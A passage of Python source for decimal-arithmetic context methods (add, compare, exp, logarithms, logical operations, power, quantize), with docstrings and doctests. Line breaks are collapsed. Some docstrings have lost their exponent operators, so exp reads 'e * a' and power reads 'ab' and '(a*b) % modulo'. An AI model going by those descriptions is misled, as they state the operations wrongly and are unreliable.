the context rounding # Methods def abs(self, a): """Returns the absolute value of the operand. If the operand is negative, the result is the same as using the minus operation on the operand. Otherwise, the result is the same as using the plus operation on the operand. >>> ExtendedContext.abs(Decimal('2.1')) Decimal('2.1') >>> ExtendedContext.abs(Decimal('-100')) Decimal('100') >>> ExtendedContext.abs(Decimal('101.5')) Decimal('101.5') >>> ExtendedContext.abs(Decimal('-101.5')) Decimal('101.5') >>> ExtendedContext.abs(-1) Decimal('1') """ a = _convert_other(a, raiseit=True) return a.__abs__(context=self) def add(self, a, b): """Return the sum of the two operands. >>> ExtendedContext.add(Decimal('12'), Decimal('7.00')) Decimal('19.00') >>> ExtendedContext.add(Decimal('1E+2'), Decimal('1.01E+4')) Decimal('1.02E+4') >>> ExtendedContext.add(1, Decimal(2)) Decimal('3') >>> ExtendedContext.add(Decimal(8), 5) Decimal('13') >>> ExtendedContext.add(5, 5) Decimal('10') """ a = _convert_other(a, raiseit=True) r = a.__add__(b, context=self) if r is NotImplemented: raise TypeError("Unable to convert %s to Decimal" % b) else: return r def _apply(self, a): return str(a._fix(self)) def canonical(self, a): """Returns the same Decimal object. As we do not have different encodings for the same number, the received object already is in its canonical form. >>> ExtendedContext.canonical(Decimal('2.50')) Decimal('2.50') """ if not isinstance(a, Decimal): raise TypeError("canonical requires a Decimal as an argument.") return a.canonical() def compare(self, a, b): """Compares values numerically. If the signs of the operands differ, a value representing each operand ('-1' if the operand is less than zero, '0' if the operand is zero or negative zero, or '1' if the operand is greater than zero) is used in place of that operand for the comparison instead of the actual operand. The comparison is then effected by subtracting the second operand from the first and then returning a value according to the result of the subtraction: '-1' if the result is less than zero, '0' if the result is zero or negative zero, or '1' if the result is greater than zero. >>> ExtendedContext.compare(Decimal('2.1'), Decimal('3')) Decimal('-1') >>> ExtendedContext.compare(Decimal('2.1'), Decimal('2.1')) Decimal('0') >>> ExtendedContext.compare(Decimal('2.1'), Decimal('2.10')) Decimal('0') >>> ExtendedContext.compare(Decimal('3'), Decimal('2.1')) Decimal('1') >>> ExtendedContext.compare(Decimal('2.1'), Decimal('-3')) Decimal('1') >>> ExtendedContext.compare(Decimal('-3'), Decimal('2.1')) Decimal('-1') >>> ExtendedContext.compare(1, 2) Decimal('-1') >>> ExtendedContext.compare(Decimal(1), 2) Decimal('-1') >>> ExtendedContext.compare(1, Decimal(2)) Decimal('-1') """ a = _convert_other(a, raiseit=True) return a.compare(b, context=self) def compare_signal(self, a, b): """Compares the values of the two operands numerically. It's pretty much like compare(), but all NaNs signal, with signaling NaNs taking precedence over quiet NaNs. >>> c = ExtendedContext >>> c.compare_signal(Decimal('2.1'), Decimal('3')) Decimal('-1') >>> c.compare_signal(Decimal('2.1'), Decimal('2.1')) Decimal('0') >>> c.flags[InvalidOperation] = 0 >>> print(c.flags[InvalidOperation]) 0 >>> c.compare_signal(Decimal('NaN'), Decimal('2.1')) Decimal('NaN') >>> print(c.flags[InvalidOperation]) 1 >>> c.flags[InvalidOperation] = 0 >>> print(c.flags[InvalidOperation]) 0 >>> c.compare_signal(Decimal('sNaN'), Decimal('2.1')) Decimal('NaN') >>> print(c.flags[InvalidOperation]) 1 >>> c.compare_signal(-1, 2) Decimal('-1') >>> c.compare_signal(Decimal(-1), 2) Decimal('-1') >>> c.compare_signal(-1, Decimal(2)) Decimal('-1') """ a = _convert_other(a, raiseit=True) return a.compare_signal(b, context=self) def compare_total(self, a, b): """Compares two operands using their abstract representation. This is not like the standard compare, which use their numerical value. Note that a total ordering is defined for all possible abstract representations. >>> ExtendedContext.compare_total(Decimal('12.73'), Decimal('127.9')) Decimal('-1') >>> ExtendedContext.compare_total(Decimal('-127'), Decimal('12')) Decimal('-1') >>> ExtendedContext.compare_total(Decimal('12.30'), Decimal('12.3')) Decimal('-1') >>> ExtendedContext.compare_total(Decimal('12.30'), Decimal('12.30')) Decimal('0') >>> ExtendedContext.compare_total(Decimal('12.3'), Decimal('12.300')) Decimal('1') >>> ExtendedContext.compare_total(Decimal('12.3'), Decimal('NaN')) Decimal('-1') >>> ExtendedContext.compare_total(1, 2) Decimal('-1') >>> ExtendedContext.compare_total(Decimal(1), 2) Decimal('-1') >>> ExtendedContext.compare_total(1, Decimal(2)) Decimal('-1') """ a = _convert_other(a, raiseit=True) return a.compare_total(b) def compare_total_mag(self, a, b): """Compares two operands using their abstract representation ignoring sign. Like compare_total, but with operand's sign ignored and assumed to be 0. """ a = _convert_other(a, raiseit=True) return a.compare_total_mag(b) def copy_abs(self, a): """Returns a copy of the operand with the sign set to 0. >>> ExtendedContext.copy_abs(Decimal('2.1')) Decimal('2.1') >>> ExtendedContext.copy_abs(Decimal('-100')) Decimal('100') >>> ExtendedContext.copy_abs(-1) Decimal('1') """ a = _convert_other(a, raiseit=True) return a.copy_abs() def copy_decimal(self, a): """Returns a copy of the decimal object. >>> ExtendedContext.copy_decimal(Decimal('2.1')) Decimal('2.1') >>> ExtendedContext.copy_decimal(Decimal('-1.00')) Decimal('-1.00') >>> ExtendedContext.copy_decimal(1) Decimal('1') """ a = _convert_other(a, raiseit=True) return Decimal(a) def copy_negate(self, a): """Returns a copy of the operand with the sign inverted. >>> ExtendedContext.copy_negate(Decimal('101.5')) Decimal('-101.5') >>> ExtendedContext.copy_negate(Decimal('-101.5')) Decimal('101.5') >>> ExtendedContext.copy_negate(1) Decimal('-1') """ a = _convert_other(a, raiseit=True) return a.copy_negate() def copy_sign(self, a, b): """Copies the second operand's sign to the first one. In detail, it returns a copy of the first operand with the sign equal to the sign of the second operand. >>> ExtendedContext.copy_sign(Decimal( '1.50'), Decimal('7.33')) Decimal('1.50') >>> ExtendedContext.copy_sign(Decimal('-1.50'), Decimal('7.33')) Decimal('1.50') >>> ExtendedContext.copy_sign(Decimal( '1.50'), Decimal('-7.33')) Decimal('-1.50') >>> ExtendedContext.copy_sign(Decimal('-1.50'), Decimal('-7.33')) Decimal('-1.50') >>> ExtendedContext.copy_sign(1, -2) Decimal('-1') >>> ExtendedContext.copy_sign(Decimal(1), -2) Decimal('-1') >>> ExtendedContext.copy_sign(1, Decimal(-2)) Decimal('-1') """ a = _convert_other(a, raiseit=True) return a.copy_sign(b) def divide(self, a, b): """Decimal division in a specified context. >>> ExtendedContext.divide(Decimal('1'), Decimal('3')) Decimal('0.333333333') >>> ExtendedContext.divide(Decimal('2'), Decimal('3')) Decimal('0.666666667') >>> ExtendedContext.divide(Decimal('5'), Decimal('2')) Decimal('2.5') >>> ExtendedContext.divide(Decimal('1'), Decimal('10')) Decimal('0.1') >>> ExtendedContext.divide(Decimal('12'), Decimal('12')) Decimal('1') >>> ExtendedContext.divide(Decimal('8.00'), Decimal('2')) Decimal('4.00') >>> ExtendedContext.divide(Decimal('2.400'), Decimal('2.0')) Decimal('1.20') >>> ExtendedContext.divide(Decimal('1000'), Decimal('100')) Decimal('10') >>> ExtendedContext.divide(Decimal('1000'), Decimal('1')) Decimal('1000') >>> ExtendedContext.divide(Decimal('2.40E+6'), Decimal('2')) Decimal('1.20E+6') >>> ExtendedContext.divide(5, 5) Decimal('1') >>> ExtendedContext.divide(Decimal(5), 5) Decimal('1') >>> ExtendedContext.divide(5, Decimal(5)) Decimal('1') """ a = _convert_other(a, raiseit=True) r = a.__truediv__(b, context=self) if r is NotImplemented: raise TypeError("Unable to convert %s to Decimal" % b) else: return r def divide_int(self, a, b): """Divides two numbers and returns the integer part of the result. >>> ExtendedContext.divide_int(Decimal('2'), Decimal('3')) Decimal('0') >>> ExtendedContext.divide_int(Decimal('10'), Decimal('3')) Decimal('3') >>> ExtendedContext.divide_int(Decimal('1'), Decimal('0.3')) Decimal('3') >>> ExtendedContext.divide_int(10, 3) Decimal('3') >>> ExtendedContext.divide_int(Decimal(10), 3) Decimal('3') >>> ExtendedContext.divide_int(10, Decimal(3)) Decimal('3') """ a = _convert_other(a, raiseit=True) r = a.__floordiv__(b, context=self) if r is NotImplemented: raise TypeError("Unable to convert %s to Decimal" % b) else: return r def divmod(self, a, b): """Return (a // b, a % b). >>> ExtendedContext.divmod(Decimal(8), Decimal(3)) (Decimal('2'), Decimal('2')) >>> ExtendedContext.divmod(Decimal(8), Decimal(4)) (Decimal('2'), Decimal('0')) >>> ExtendedContext.divmod(8, 4) (Decimal('2'), Decimal('0')) >>> ExtendedContext.divmod(Decimal(8), 4) (Decimal('2'), Decimal('0')) >>> ExtendedContext.divmod(8, Decimal(4)) (Decimal('2'), Decimal('0')) """ a = _convert_other(a, raiseit=True) r = a.__divmod__(b, context=self) if r is NotImplemented: raise TypeError("Unable to convert %s to Decimal" % b) else: return r def exp(self, a): """Returns e * a. >>> c = ExtendedContext.copy() >>> c.Emin = -999 >>> c.Emax = 999 >>> c.exp(Decimal('-Infinity')) Decimal('0') >>> c.exp(Decimal('-1')) Decimal('0.367879441') >>> c.exp(Decimal('0')) Decimal('1') >>> c.exp(Decimal('1')) Decimal('2.71828183') >>> c.exp(Decimal('0.693147181')) Decimal('2.00000000') >>> c.exp(Decimal('+Infinity')) Decimal('Infinity') >>> c.exp(10) Decimal('22026.4658') """ a =_convert_other(a, raiseit=True) return a.exp(context=self) def fma(self, a, b, c): """Returns a multiplied by b, plus c. The first two operands are multiplied together, using multiply, the third operand is then added to the result of that multiplication, using add, all with only one final rounding. >>> ExtendedContext.fma(Decimal('3'), Decimal('5'), Decimal('7')) Decimal('22') >>> ExtendedContext.fma(Decimal('3'), Decimal('-5'), Decimal('7')) Decimal('-8') >>> ExtendedContext.fma(Decimal('888565290'), Decimal('1557.96930'), Decimal('-86087.7578')) Decimal('1.38435736E+12') >>> ExtendedContext.fma(1, 3, 4) Decimal('7') >>> ExtendedContext.fma(1, Decimal(3), 4) Decimal('7') >>> ExtendedContext.fma(1, 3, Decimal(4)) Decimal('7') """ a = _convert_other(a, raiseit=True) return a.fma(b, c, context=self) def is_canonical(self, a): """Return True if the operand is canonical; otherwise return False. Currently, the encoding of a Decimal instance is always canonical, so this method returns True for any Decimal. >>> ExtendedContext.is_canonical(Decimal('2.50')) True """ if not isinstance(a, Decimal): raise TypeError("is_canonical requires a Decimal as an argument.") return a.is_canonical() def is_finite(self, a): """Return True if the operand is finite; otherwise return False. A Decimal instance is considered finite if it is neither infinite nor a NaN. >>> ExtendedContext.is_finite(Decimal('2.50')) True >>> ExtendedContext.is_finite(Decimal('-0.3')) True >>> ExtendedContext.is_finite(Decimal('0')) True >>> ExtendedContext.is_finite(Decimal('Inf')) False >>> ExtendedContext.is_finite(Decimal('NaN')) False >>> ExtendedContext.is_finite(1) True """ a = _convert_other(a, raiseit=True) return a.is_finite() def is_infinite(self, a): """Return True if the operand is infinite; otherwise return False. >>> ExtendedContext.is_infinite(Decimal('2.50')) False >>> ExtendedContext.is_infinite(Decimal('-Inf')) True >>> ExtendedContext.is_infinite(Decimal('NaN')) False >>> ExtendedContext.is_infinite(1) False """ a = _convert_other(a, raiseit=True) return a.is_infinite() def is_nan(self, a): """Return True if the operand is a qNaN or sNaN; otherwise return False. >>> ExtendedContext.is_nan(Decimal('2.50')) False >>> ExtendedContext.is_nan(Decimal('NaN')) True >>> ExtendedContext.is_nan(Decimal('-sNaN')) True >>> ExtendedContext.is_nan(1) False """ a = _convert_other(a, raiseit=True) return a.is_nan() def is_normal(self, a): """Return True if the operand is a normal number; otherwise return False. >>> c = ExtendedContext.copy() >>> c.Emin = -999 >>> c.Emax = 999 >>> c.is_normal(Decimal('2.50')) True >>> c.is_normal(Decimal('0.1E-999')) False >>> c.is_normal(Decimal('0.00')) False >>> c.is_normal(Decimal('-Inf')) False >>> c.is_normal(Decimal('NaN')) False >>> c.is_normal(1) True """ a = _convert_other(a, raiseit=True) return a.is_normal(context=self) def is_qnan(self, a): """Return True if the operand is a quiet NaN; otherwise return False. >>> ExtendedContext.is_qnan(Decimal('2.50')) False >>> ExtendedContext.is_qnan(Decimal('NaN')) True >>> ExtendedContext.is_qnan(Decimal('sNaN')) False >>> ExtendedContext.is_qnan(1) False """ a = _convert_other(a, raiseit=True) return a.is_qnan() def is_signed(self, a): """Return True if the operand is negative; otherwise return False. >>> ExtendedContext.is_signed(Decimal('2.50')) False >>> ExtendedContext.is_signed(Decimal('-12')) True >>> ExtendedContext.is_signed(Decimal('-0')) True >>> ExtendedContext.is_signed(8) False >>> ExtendedContext.is_signed(-8) True """ a = _convert_other(a, raiseit=True) return a.is_signed() def is_snan(self, a): """Return True if the operand is a signaling NaN; otherwise return False. >>> ExtendedContext.is_snan(Decimal('2.50')) False >>> ExtendedContext.is_snan(Decimal('NaN')) False >>> ExtendedContext.is_snan(Decimal('sNaN')) True >>> ExtendedContext.is_snan(1) False """ a = _convert_other(a, raiseit=True) return a.is_snan() def is_subnormal(self, a): """Return True if the operand is subnormal; otherwise return False. >>> c = ExtendedContext.copy() >>> c.Emin = -999 >>> c.Emax = 999 >>> c.is_subnormal(Decimal('2.50')) False >>> c.is_subnormal(Decimal('0.1E-999')) True >>> c.is_subnormal(Decimal('0.00')) False >>> c.is_subnormal(Decimal('-Inf')) False >>> c.is_subnormal(Decimal('NaN')) False >>> c.is_subnormal(1) False """ a = _convert_other(a, raiseit=True) return a.is_subnormal(context=self) def is_zero(self, a): """Return True if the operand is a zero; otherwise return False. >>> ExtendedContext.is_zero(Decimal('0')) True >>> ExtendedContext.is_zero(Decimal('2.50')) False >>> ExtendedContext.is_zero(Decimal('-0E+2')) True >>> ExtendedContext.is_zero(1) False >>> ExtendedContext.is_zero(0) True """ a = _convert_other(a, raiseit=True) return a.is_zero() def ln(self, a): """Returns the natural (base e) logarithm of the operand. >>> c = ExtendedContext.copy() >>> c.Emin = -999 >>> c.Emax = 999 >>> c.ln(Decimal('0')) Decimal('-Infinity') >>> c.ln(Decimal('1.000')) Decimal('0') >>> c.ln(Decimal('2.71828183')) Decimal('1.00000000') >>> c.ln(Decimal('10')) Decimal('2.30258509') >>> c.ln(Decimal('+Infinity')) Decimal('Infinity') >>> c.ln(1) Decimal('0') """ a = _convert_other(a, raiseit=True) return a.ln(context=self) def log10(self, a): """Returns the base 10 logarithm of the operand. >>> c = ExtendedContext.copy() >>> c.Emin = -999 >>> c.Emax = 999 >>> c.log10(Decimal('0')) Decimal('-Infinity') >>> c.log10(Decimal('0.001')) Decimal('-3') >>> c.log10(Decimal('1.000')) Decimal('0') >>> c.log10(Decimal('2')) Decimal('0.301029996') >>> c.log10(Decimal('10')) Decimal('1') >>> c.log10(Decimal('70')) Decimal('1.84509804') >>> c.log10(Decimal('+Infinity')) Decimal('Infinity') >>> c.log10(0) Decimal('-Infinity') >>> c.log10(1) Decimal('0') """ a = _convert_other(a, raiseit=True) return a.log10(context=self) def logb(self, a): """ Returns the exponent of the magnitude of the operand's MSD. The result is the integer which is the exponent of the magnitude of the most significant digit of the operand (as though the operand were truncated to a single digit while maintaining the value of that digit and without limiting the resulting exponent). >>> ExtendedContext.logb(Decimal('250')) Decimal('2') >>> ExtendedContext.logb(Decimal('2.50')) Decimal('0') >>> ExtendedContext.logb(Decimal('0.03')) Decimal('-2') >>> ExtendedContext.logb(Decimal('0')) Decimal('-Infinity') >>> ExtendedContext.logb(1) Decimal('0') >>> ExtendedContext.logb(10) Decimal('1') >>> ExtendedContext.logb(100) Decimal('2') """ a = _convert_other(a, raiseit=True) return a.logb(context=self) def logical_and(self, a, b): """Applies the logical operation 'and' between each operand's digits. The operands must be both logical numbers. >>> ExtendedContext.logical_and(Decimal('0'), Decimal('0')) Decimal('0') >>> ExtendedContext.logical_and(Decimal('0'), Decimal('1')) Decimal('0') >>> ExtendedContext.logical_and(Decimal('1'), Decimal('0')) Decimal('0') >>> ExtendedContext.logical_and(Decimal('1'), Decimal('1')) Decimal('1') >>> ExtendedContext.logical_and(Decimal('1100'), Decimal('1010')) Decimal('1000') >>> ExtendedContext.logical_and(Decimal('1111'), Decimal('10')) Decimal('10') >>> ExtendedContext.logical_and(110, 1101) Decimal('100') >>> ExtendedContext.logical_and(Decimal(110), 1101) Decimal('100') >>> ExtendedContext.logical_and(110, Decimal(1101)) Decimal('100') """ a = _convert_other(a, raiseit=True) return a.logical_and(b, context=self) def logical_invert(self, a): """Invert all the digits in the operand. The operand must be a logical number. >>> ExtendedContext.logical_invert(Decimal('0')) Decimal('111111111') >>> ExtendedContext.logical_invert(Decimal('1')) Decimal('111111110') >>> ExtendedContext.logical_invert(Decimal('111111111')) Decimal('0') >>> ExtendedContext.logical_invert(Decimal('101010101')) Decimal('10101010') >>> ExtendedContext.logical_invert(1101) Decimal('111110010') """ a = _convert_other(a, raiseit=True) return a.logical_invert(context=self) def logical_or(self, a, b): """Applies the logical operation 'or' between each operand's digits. The operands must be both logical numbers. >>> ExtendedContext.logical_or(Decimal('0'), Decimal('0')) Decimal('0') >>> ExtendedContext.logical_or(Decimal('0'), Decimal('1')) Decimal('1') >>> ExtendedContext.logical_or(Decimal('1'), Decimal('0')) Decimal('1') >>> ExtendedContext.logical_or(Decimal('1'), Decimal('1')) Decimal('1') >>> ExtendedContext.logical_or(Decimal('1100'), Decimal('1010')) Decimal('1110') >>> ExtendedContext.logical_or(Decimal('1110'), Decimal('10')) Decimal('1110') >>> ExtendedContext.logical_or(110, 1101) Decimal('1111') >>> ExtendedContext.logical_or(Decimal(110), 1101) Decimal('1111') >>> ExtendedContext.logical_or(110, Decimal(1101)) Decimal('1111') """ a = _convert_other(a, raiseit=True) return a.logical_or(b, context=self) def logical_xor(self, a, b): """Applies the logical operation 'xor' between each operand's digits. The operands must be both logical numbers. >>> ExtendedContext.logical_xor(Decimal('0'), Decimal('0')) Decimal('0') >>> ExtendedContext.logical_xor(Decimal('0'), Decimal('1')) Decimal('1') >>> ExtendedContext.logical_xor(Decimal('1'), Decimal('0')) Decimal('1') >>> ExtendedContext.logical_xor(Decimal('1'), Decimal('1')) Decimal('0') >>> ExtendedContext.logical_xor(Decimal('1100'), Decimal('1010')) Decimal('110') >>> ExtendedContext.logical_xor(Decimal('1111'), Decimal('10')) Decimal('1101') >>> ExtendedContext.logical_xor(110, 1101) Decimal('1011') >>> ExtendedContext.logical_xor(Decimal(110), 1101) Decimal('1011') >>> ExtendedContext.logical_xor(110, Decimal(1101)) Decimal('1011') """ a = _convert_other(a, raiseit=True) return a.logical_xor(b, context=self) def max(self, a, b): """max compares two values numerically and returns the maximum. If either operand is a NaN then the general rules apply. Otherwise, the operands are compared as though by the compare operation. If they are numerically equal then the left-hand operand is chosen as the result. Otherwise the maximum (closer to positive infinity) of the two operands is chosen as the result. >>> ExtendedContext.max(Decimal('3'), Decimal('2')) Decimal('3') >>> ExtendedContext.max(Decimal('-10'), Decimal('3')) Decimal('3') >>> ExtendedContext.max(Decimal('1.0'), Decimal('1')) Decimal('1') >>> ExtendedContext.max(Decimal('7'), Decimal('NaN')) Decimal('7') >>> ExtendedContext.max(1, 2) Decimal('2') >>> ExtendedContext.max(Decimal(1), 2) Decimal('2') >>> ExtendedContext.max(1, Decimal(2)) Decimal('2') """ a = _convert_other(a, raiseit=True) return a.max(b, context=self) def max_mag(self, a, b): """Compares the values numerically with their sign ignored. >>> ExtendedContext.max_mag(Decimal('7'), Decimal('NaN')) Decimal('7') >>> ExtendedContext.max_mag(Decimal('7'), Decimal('-10')) Decimal('-10') >>> ExtendedContext.max_mag(1, -2) Decimal('-2') >>> ExtendedContext.max_mag(Decimal(1), -2) Decimal('-2') >>> ExtendedContext.max_mag(1, Decimal(-2)) Decimal('-2') """ a = _convert_other(a, raiseit=True) return a.max_mag(b, context=self) def min(self, a, b): """min compares two values numerically and returns the minimum. If either operand is a NaN then the general rules apply. Otherwise, the operands are compared as though by the compare operation. If they are numerically equal then the left-hand operand is chosen as the result. Otherwise the minimum (closer to negative infinity) of the two operands is chosen as the result. >>> ExtendedContext.min(Decimal('3'), Decimal('2')) Decimal('2') >>> ExtendedContext.min(Decimal('-10'), Decimal('3')) Decimal('-10') >>> ExtendedContext.min(Decimal('1.0'), Decimal('1')) Decimal('1.0') >>> ExtendedContext.min(Decimal('7'), Decimal('NaN')) Decimal('7') >>> ExtendedContext.min(1, 2) Decimal('1') >>> ExtendedContext.min(Decimal(1), 2) Decimal('1') >>> ExtendedContext.min(1, Decimal(29)) Decimal('1') """ a = _convert_other(a, raiseit=True) return a.min(b, context=self) def min_mag(self, a, b): """Compares the values numerically with their sign ignored. >>> ExtendedContext.min_mag(Decimal('3'), Decimal('-2')) Decimal('-2') >>> ExtendedContext.min_mag(Decimal('-3'), Decimal('NaN')) Decimal('-3') >>> ExtendedContext.min_mag(1, -2) Decimal('1') >>> ExtendedContext.min_mag(Decimal(1), -2) Decimal('1') >>> ExtendedContext.min_mag(1, Decimal(-2)) Decimal('1') """ a = _convert_other(a, raiseit=True) return a.min_mag(b, context=self) def minus(self, a): """Minus corresponds to unary prefix minus in Python. The operation is evaluated using the same rules as subtract; the operation minus(a) is calculated as subtract('0', a) where the '0' has the same exponent as the operand. >>> ExtendedContext.minus(Decimal('1.3')) Decimal('-1.3') >>> ExtendedContext.minus(Decimal('-1.3')) Decimal('1.3') >>> ExtendedContext.minus(1) Decimal('-1') """ a = _convert_other(a, raiseit=True) return a.__neg__(context=self) def multiply(self, a, b): """multiply multiplies two operands. If either operand is a special value then the general rules apply. Otherwise, the operands are multiplied together ('long multiplication'), resulting in a number which may be as long as the sum of the lengths of the two operands. >>> ExtendedContext.multiply(Decimal('1.20'), Decimal('3')) Decimal('3.60') >>> ExtendedContext.multiply(Decimal('7'), Decimal('3')) Decimal('21') >>> ExtendedContext.multiply(Decimal('0.9'), Decimal('0.8')) Decimal('0.72') >>> ExtendedContext.multiply(Decimal('0.9'), Decimal('-0')) Decimal('-0.0') >>> ExtendedContext.multiply(Decimal('654321'), Decimal('654321')) Decimal('4.28135971E+11') >>> ExtendedContext.multiply(7, 7) Decimal('49') >>> ExtendedContext.multiply(Decimal(7), 7) Decimal('49') >>> ExtendedContext.multiply(7, Decimal(7)) Decimal('49') """ a = _convert_other(a, raiseit=True) r = a.__mul__(b, context=self) if r is NotImplemented: raise TypeError("Unable to convert %s to Decimal" % b) else: return r def next_minus(self, a): """Returns the largest representable number smaller than a. >>> c = ExtendedContext.copy() >>> c.Emin = -999 >>> c.Emax = 999 >>> ExtendedContext.next_minus(Decimal('1')) Decimal('0.999999999') >>> c.next_minus(Decimal('1E-1007')) Decimal('0E-1007') >>> ExtendedContext.next_minus(Decimal('-1.00000003')) Decimal('-1.00000004') >>> c.next_minus(Decimal('Infinity')) Decimal('9.99999999E+999') >>> c.next_minus(1) Decimal('0.999999999') """ a = _convert_other(a, raiseit=True) return a.next_minus(context=self) def next_plus(self, a): """Returns the smallest representable number larger than a. >>> c = ExtendedContext.copy() >>> c.Emin = -999 >>> c.Emax = 999 >>> ExtendedContext.next_plus(Decimal('1')) Decimal('1.00000001') >>> c.next_plus(Decimal('-1E-1007')) Decimal('-0E-1007') >>> ExtendedContext.next_plus(Decimal('-1.00000003')) Decimal('-1.00000002') >>> c.next_plus(Decimal('-Infinity')) Decimal('-9.99999999E+999') >>> c.next_plus(1) Decimal('1.00000001') """ a = _convert_other(a, raiseit=True) return a.next_plus(context=self) def next_toward(self, a, b): """Returns the number closest to a, in direction towards b. The result is the closest representable number from the first operand (but not the first operand) that is in the direction towards the second operand, unless the operands have the same value. >>> c = ExtendedContext.copy() >>> c.Emin = -999 >>> c.Emax = 999 >>> c.next_toward(Decimal('1'), Decimal('2')) Decimal('1.00000001') >>> c.next_toward(Decimal('-1E-1007'), Decimal('1')) Decimal('-0E-1007') >>> c.next_toward(Decimal('-1.00000003'), Decimal('0')) Decimal('-1.00000002') >>> c.next_toward(Decimal('1'), Decimal('0')) Decimal('0.999999999') >>> c.next_toward(Decimal('1E-1007'), Decimal('-100')) Decimal('0E-1007') >>> c.next_toward(Decimal('-1.00000003'), Decimal('-10')) Decimal('-1.00000004') >>> c.next_toward(Decimal('0.00'), Decimal('-0.0000')) Decimal('-0.00') >>> c.next_toward(0, 1) Decimal('1E-1007') >>> c.next_toward(Decimal(0), 1) Decimal('1E-1007') >>> c.next_toward(0, Decimal(1)) Decimal('1E-1007') """ a = _convert_other(a, raiseit=True) return a.next_toward(b, context=self) def normalize(self, a): """normalize reduces an operand to its simplest form. Essentially a plus operation with all trailing zeros removed from the result. >>> ExtendedContext.normalize(Decimal('2.1')) Decimal('2.1') >>> ExtendedContext.normalize(Decimal('-2.0')) Decimal('-2') >>> ExtendedContext.normalize(Decimal('1.200')) Decimal('1.2') >>> ExtendedContext.normalize(Decimal('-120')) Decimal('-1.2E+2') >>> ExtendedContext.normalize(Decimal('120.00')) Decimal('1.2E+2') >>> ExtendedContext.normalize(Decimal('0.00')) Decimal('0') >>> ExtendedContext.normalize(6) Decimal('6') """ a = _convert_other(a, raiseit=True) return a.normalize(context=self) def number_class(self, a): """Returns an indication of the class of the operand. The class is one of the following strings: -sNaN -NaN -Infinity -Normal -Subnormal -Zero +Zero +Subnormal +Normal +Infinity >>> c = ExtendedContext.copy() >>> c.Emin = -999 >>> c.Emax = 999 >>> c.number_class(Decimal('Infinity')) '+Infinity' >>> c.number_class(Decimal('1E-10')) '+Normal' >>> c.number_class(Decimal('2.50')) '+Normal' >>> c.number_class(Decimal('0.1E-999')) '+Subnormal' >>> c.number_class(Decimal('0')) '+Zero' >>> c.number_class(Decimal('-0')) '-Zero' >>> c.number_class(Decimal('-0.1E-999')) '-Subnormal' >>> c.number_class(Decimal('-1E-10')) '-Normal' >>> c.number_class(Decimal('-2.50')) '-Normal' >>> c.number_class(Decimal('-Infinity')) '-Infinity' >>> c.number_class(Decimal('NaN')) 'NaN' >>> c.number_class(Decimal('-NaN')) 'NaN' >>> c.number_class(Decimal('sNaN')) 'sNaN' >>> c.number_class(123) '+Normal' """ a = _convert_other(a, raiseit=True) return a.number_class(context=self) def plus(self, a): """Plus corresponds to unary prefix plus in Python. The operation is evaluated using the same rules as add; the operation plus(a) is calculated as add('0', a) where the '0' has the same exponent as the operand. >>> ExtendedContext.plus(Decimal('1.3')) Decimal('1.3') >>> ExtendedContext.plus(Decimal('-1.3')) Decimal('-1.3') >>> ExtendedContext.plus(-1) Decimal('-1') """ a = _convert_other(a, raiseit=True) return a.__pos__(context=self) def power(self, a, b, modulo=None): """Raises a to the power of b, to modulo if given. With two arguments, compute ab. If a is negative then b must be integral. The result will be inexact unless b is integral and the result is finite and can be expressed exactly in 'precision' digits. With three arguments, compute (ab) % modulo. For the three argument form, the following restrictions on the arguments hold: - all three arguments must be integral - b must be nonnegative - at least one of a or b must be nonzero - modulo must be nonzero and have at most 'precision' digits The result of pow(a, b, modulo) is identical to the result that would be obtained by computing (a*b) % modulo with unbounded precision, but is computed more efficiently. It is always exact. >>> c = ExtendedContext.copy() >>> c.Emin = -999 >>> c.Emax = 999 >>> c.power(Decimal('2'), Decimal('3')) Decimal('8') >>> c.power(Decimal('-2'), Decimal('3')) Decimal('-8') >>> c.power(Decimal('2'), Decimal('-3')) Decimal('0.125') >>> c.power(Decimal('1.7'), Decimal('8')) Decimal('69.7575744') >>> c.power(Decimal('10'), Decimal('0.301029996')) Decimal('2.00000000') >>> c.power(Decimal('Infinity'), Decimal('-1')) Decimal('0') >>> c.power(Decimal('Infinity'), Decimal('0')) Decimal('1') >>> c.power(Decimal('Infinity'), Decimal('1')) Decimal('Infinity') >>> c.power(Decimal('-Infinity'), Decimal('-1')) Decimal('-0') >>> c.power(Decimal('-Infinity'), Decimal('0')) Decimal('1') >>> c.power(Decimal('-Infinity'), Decimal('1')) Decimal('-Infinity') >>> c.power(Decimal('-Infinity'), Decimal('2')) Decimal('Infinity') >>> c.power(Decimal('0'), Decimal('0')) Decimal('NaN') >>> c.power(Decimal('3'), Decimal('7'), Decimal('16')) Decimal('11') >>> c.power(Decimal('-3'), Decimal('7'), Decimal('16')) Decimal('-11') >>> c.power(Decimal('-3'), Decimal('8'), Decimal('16')) Decimal('1') >>> c.power(Decimal('3'), Decimal('7'), Decimal('-16')) Decimal('11') >>> c.power(Decimal('23E12345'), Decimal('67E189'), Decimal('123456789')) Decimal('11729830') >>> c.power(Decimal('-0'), Decimal('17'), Decimal('1729')) Decimal('-0') >>> c.power(Decimal('-23'), Decimal('0'), Decimal('65537')) Decimal('1') >>> ExtendedContext.power(7, 7) Decimal('823543') >>> ExtendedContext.power(Decimal(7), 7) Decimal('823543') >>> ExtendedContext.power(7, Decimal(7), 2) Decimal('1') """ a = _convert_other(a, raiseit=True) r = a.__pow__(b, modulo, context=self) if r is NotImplemented: raise TypeError("Unable to convert %s to Decimal" % b) else: return r def quantize(self, a, b): """Returns a value equal to 'a' (rounded), having the exponent of 'b'. The coefficient of the result is derived from that of the left-hand operand. It may be rounded using the current rounding setting (if the exponent is being increased), multiplied by a positive power of ten (if the exponent is being decreased), or is unchanged (if the exponent is already equal to that of the right-hand operand). Unlike other operations, if the length of the coefficient after the quantize operation would be greater than precision then an Invalid operation condition is raised. This guarantees that, unless there is an error condition, the exponent of the result of a quantize is always equal to that of the right-hand operand. Also unlike other operations, quantize will never raise Underflow, even if the result is subnormal and inexact. >>> ExtendedContext.quantize(Decimal('2.17'), Decimal('0.001')) Decimal('2.170') >>> ExtendedContext.quantize(Decimal('2.17'), Decimal('0.01')) Decimal('2.17') >>> ExtendedContext.quantize(Decimal('2.17'), Decimal('0.1')) Decimal('2.2') >>> ExtendedContext.quantize(Decimal('2.17'), Decimal('1e+0')) Decimal('2') >>> ExtendedContext.quantize(Decimal('2.17'), Decimal('1e+1')) Decimal('0E+1') >>> ExtendedContext.quantize(Decimal('-Inf'), Decimal('Infinity')) Decimal('-Infinity') >>> ExtendedContext.quantize(Decimal('2'), Decimal('Infinity')) Decimal('NaN') >>> ExtendedContext.quantize(Decimal('-0.1'), Decimal('1')) 